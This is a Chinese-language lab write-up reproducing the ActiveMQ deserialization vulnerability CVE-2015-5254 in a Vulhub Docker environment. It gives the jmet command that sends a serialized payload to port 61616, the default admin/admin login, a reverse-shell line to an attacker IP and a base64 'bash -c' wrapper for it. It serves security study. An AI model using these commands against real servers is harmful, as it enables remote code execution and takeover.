Vulhub

前言

PHP-Audit-Labs系列已经看到了最新的地方,所以在它还没有更新之前,先来看看一些常见的web服务的漏洞。



环境搭建

我们这次使用的是ActiveMQ。Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

连接服务器,进入目录:

1
cd ../vulhub/activemq/CVE-2015-5254

创建镜像,启动容器:

1
2
docker-compose build
docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

漏洞测试

漏洞利用过程如下:

  • 构造可执行命令的序列化对象
  • 作为一个消息,发送到目标61616端口
  • 访问web管理页面,读取信息,触发漏洞

这里我们使用ysoserial来构造序列化对象,ysoserial是一个Java反序列化工具框架,它包含常见的Java反序列化类型,可以生成一些payload。我们这里使用jmet,jmet自带ysoserial,我们先下载jmet的jar文件,并在同目录下创建要给external文件夹(否则可能会爆文件夹不存在的错误)

执行如下命令:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

这样我们会给目标ActiveMQ添加一个名为event的队列,我们访问http://your-ip:8161/admin/browse.jsp?JMSDestination=event,默认账号admin,默认密码admin,看到这个队列中所有消息:

当我们点击查看这条消息后即可触发命令执行,这时我们进行入容器:

可以看到/tmp/success已经成功创建。

漏洞利用

利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。payload:

1
bash -i >& /dev/tcp/攻击机IP/8888 0>&1

不过在这里我们需要一些小技巧来绕过Java的机制

1
bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

然后我们是使用同样的命令将payload发送到61616端口。

然后我们查看这条消息,触发命令执行,这时我们在攻击机上监听端口,即可得到shell


参考链接:

ActiveMQ 反序列化漏洞(CVE-2015-5254)利用

[应用安全]之ActiveMQ漏洞利用方法总结

ActiveMQ Deserialization Vulnerability (CVE-2015-5254)